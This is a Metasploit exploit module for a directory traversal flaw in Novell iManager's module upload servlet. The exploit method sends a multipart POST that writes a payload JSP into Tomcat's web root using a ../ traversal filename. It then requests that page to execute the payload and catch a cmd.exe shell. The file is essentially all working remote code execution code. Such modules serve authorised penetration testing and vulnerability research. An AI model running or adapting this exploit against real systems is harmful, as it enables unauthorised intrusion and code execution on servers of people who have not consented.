##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iManager getMultiPartParameters Arbitrary File Upload',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability which
        allows remote attackers to upload and execute arbitrary code.

        PortalModuleInstallManager
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'Platform'       => [ 'win' ],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'OSVDB', '68320'],
          [ 'ZDI', '10-190' ],
          [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7006515&sliceId=2' ],
        ],
      'Targets'        =>
        [
          [ 'Universal Windows Target',
            {
              'Arch'     => ARCH_JAVA,
              'Payload'  =>
                {
                  'DisableNops' => true,
                },
            }
          ],
        ],
      'DefaultOptions' =>
        {
          'SHELL' => 'cmd.exe'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2010-10-01'
    ))

    register_options(
      [
        Opt::RPORT(8080)
      ])
  end

  def exploit

    page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"

    fname = '../../../../../../../Progra~1/Novell/Tomcat/webapps/ROOT/'
    fname << page

    dbl = Rex::MIME::Message.new
    dbl.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"MODULE_FILE\"; filename=\"#{fname}\"")
    data = dbl.to_s
    # For some unknown reason, the service is unhappy with an extra EOL.
    data.strip!

    print_status("Uploading the payload via a POST request...")

    res = send_request_cgi(
      {
        'uri'     => '/nps/servlet/modulemanager',
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "multipart/form-data; boundary=#{dbl.bound}",
        'data'    => data,
      }, 5)

    if ( res and res.code == 200 and res.message =~ /OK/ )
      print_status("Sending our second request to '#{page}'...")
      data = send_request_raw({
          'uri'     => '/' + page,
          'method'  => 'GET',
          'version' => '1.0',
      }, 5)
      handler
    else
      fail_with(Failure::Unknown, 'POST failed')
    end

  end
end
